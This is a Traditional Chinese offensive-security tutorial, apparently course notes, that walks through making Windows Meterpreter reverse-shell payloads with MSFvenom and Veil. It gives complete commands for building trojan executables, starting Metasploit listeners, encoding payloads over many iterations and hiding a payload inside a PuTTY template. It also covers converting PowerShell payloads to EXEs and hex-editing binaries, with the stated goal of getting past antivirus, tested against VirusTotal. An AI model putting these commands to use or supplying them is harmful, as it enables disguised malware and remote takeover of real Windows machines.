原本有安排一個"SMBGhost CVE 2020-0796 - Windows 10 手動利用"
但是該講需要用到特定版本的win 10, 但目前沒有找到乾淨的來源,故刪除
接下來,我們將探討如何利用MSFvenom工具生成基本的Windows惡意程式,並在目標機器上獲得反向Shell。這是一個簡單的例子,旨在演示如何利用MSFvenom創建有效負載,並使用Metasploit Framework來監聽連接。
使用以下命令生成惡意的可執行文件:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<你的kali ip> LPORT=5555(隨便一個都可以) -f exe -o shell.exe
此命令將生成一個名為shell.exe
的文件,其中包括反向連接到Kali Linux的Meterpreter Shell。
選項說明:
p windows/x64/meterpreter/reverse_tcp
:指定使用的有效負載。LHOST=192.168.1.12
:攻擊機器的IP地址。LPORT=5555
:反向連接的端口號。f exe
:指定輸出的文件格式。o shell.exe
:指定輸出文件的名稱。shell.exe
傳輸到目標機器:
使用以下命令啟動Metasploit Framework並設置監聽:
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.12
set LPORT 5555
run
選項說明:
use exploit/multi/handler
:選擇監聽器。set payload windows/x64/meterpreter/reverse_tcp
:設置有效負載類型。set LHOST
和set LPORT
:確保這些值與MSFvenom命令中的一致。shell.exe
:
shell.exe
文件。sysinfo
、getuid
等命令以驗證已獲取目標系統的訪問權限。這些步驟展示了如何利用MSFvenom生成基本的Windows有效負載,並使用Metasploit Framework來接收反向連接。
在上個階段中,我們創建了一個基本的.exe木馬檔案。現在,我們將介紹一些可用來調整有效負載的選項,以便創建更具針對性和潛在地更難以被防病毒軟件檢測的有效負載。
打開終端並運行以下命令,查看可用的文件格式:
msfvenom --list formats
創建基本的有效負載:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.12 LPORT=5555 -f exe -o shell1.exe
shell1.exe
的可執行文件。上傳到VirusTotal進行掃描:
shell1.exe
上傳,查看有多少防病毒軟件檢測到它。運行以下命令以查看MSFvenom的幫助手冊:
msfvenom -h
a
、e
、i
等。使用進階選項創建有效負載:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.12 LPORT=5555 -a x64 -e x64/zutto_dekiru -i 15 --platform windows -n 500 -f exe -o shell2.exe
a x64
:指定目標架構為64位。e x64/zutto_dekiru
:指定使用的編碼器。i 15
:指定編碼的迭代次數為15。-platform windows
:指定目標平台為Windows。n 500
:在有效負載中插入500個NOP。f exe
:指定輸出格式為exe。o shell2.exe
:指定輸出文件名稱。上傳到VirusTotal進行掃描:
shell2.exe
上傳到VirusTotal,查看防病毒軟件的檢測情況。VirusTotal
的掃描結果,查看哪個有效負載被較少的防病毒軟件檢測到。使用MSFvenom生成有效負載是滲透測試中重要的一環,了解不同的選項和參數可以幫助創建更具針對性的攻擊工具。然而,要實現有效的防病毒繞過,可能需要進一步的定制化處理和其他技巧,我們將在後續的教程中進一步探討這些技巧。
MSFvenom提供了一個功能,即使用另一個可執行程序作為模板來生成有效負載,這可以幫助我們使有效負載看起來更像合法程序。
.exe
)。在命令行中創建使用PuTTY作為模板的有效負載:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.12 LPORT=5555 -x putty.exe -f exe -o Putty.exe
x putty.exe
:使用PuTTY作為模板。f exe
:指定輸出格式為exe。o Putty.exe
:指定輸出文件名稱。運行PuTTY.exe並設置多重處理程序:
msfconsole
並設置多重處理程序來監聽來自有效負載的連接:use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.12
set LPORT 5555
run
生成Python格式的有效負載:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.12 LPORT=5555 -f python -o python_payload.py
f python
:指定輸出格式為Python。檢查Python有效負載的檢測率:
這些步驟展示了如何使用模板和不同格式來創建更具隱蔽性的有效負載。儘管如此,Python格式的有效負載在Windows上並不實用,因為Windows默認不支持Python運行環境。因此,選擇合適的格式和使用模板是提高有效負載隱蔽性的兩種有效方法。
在這一部分中,我們將使用Veil工具生成一個PowerShell有效負載,並將其轉換為可執行文件(EXE)以便在目標系統上運行。Veil是一個強大的工具,專門用來生成難以被防病毒軟件檢測的有效負載。以下是具體步驟:
打開終端,進入root帳戶:
sudo su
運行以下命令來安裝Veil:
apt-get install veil
安裝完成後,輸入veil
啟動程序。這將繼續安裝依賴項,並提示您在安裝過程中點擊“下一步”。
啟動Veil並選擇有效負載:
輸入veil
啟動程序,然後輸入use 1
選擇Evasion模塊。
列出可用的有效負載:
list
選擇PowerShell有效負載,例如第22個(powershell/meterpreter/rev_tcp.py
):
use 22
設置有效負載參數:
設置本地主機(LHOST)和端口(LPORT):
set LHOST 192.168.1.12
set LPORT 5555
可選:設置啟動延遲時間(SLEEP)以避免立即被檢測:
set SLEEP 20
生成有效負載:
generate
命令來創建有效負載。使用GitHub下載bat2exe
工具:
git clone <https://github.com/iTzKarma/Bat2Exe>
解壓工具:
unzip Bat2Exe.zip
使用Wine在Kali Linux中運行工具:
wine Bat2Exe.exe
打開Veil生成的.bat文件
然後選擇“Convert”選項將其轉換為EXE。
設置Metasploit監聽器:
打開msfconsole
並運行資源文件以自動設置監聽器:
resource /path/to/your/resource/file.rc
在目標機器上運行EXE有效負載:
我們使用Veil工具生成了一個PowerShell有效負載,並通過將其轉換為EXE格式來避免檢測。Veil提供了多種選擇來微調和自定義有效負載,以降低被防病毒軟件檢測的可能性。雖然我們無法完全避免所有防病毒檢測,但使用Veil生成的有效負載能夠有效降低被檢測的風險。
我們將討論如何繞過防毒軟體的偵測。由於技術會隨著時間而改變,因此當前方法可能在未來不再有效。完全不可偵測的Payload不會持續很長時間,特別是在這類教程被眾多人觀看之後。因此,我們將介紹一些技術,這些技術可以幫助你生成難以偵測的Payload。
生成一個普通的Windows Meterpreter反向TCP Payload:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<your_ip> LPORT=<your_port> -f exe -o shell.exe
使用md5sum
檢查Payload的雜湊值:
md5sum shell.exe
使用Hex編輯器修改Payload:
hexeditor shell.exe
保存並重新檢查文件的雜湊值:
md5sum shell.exe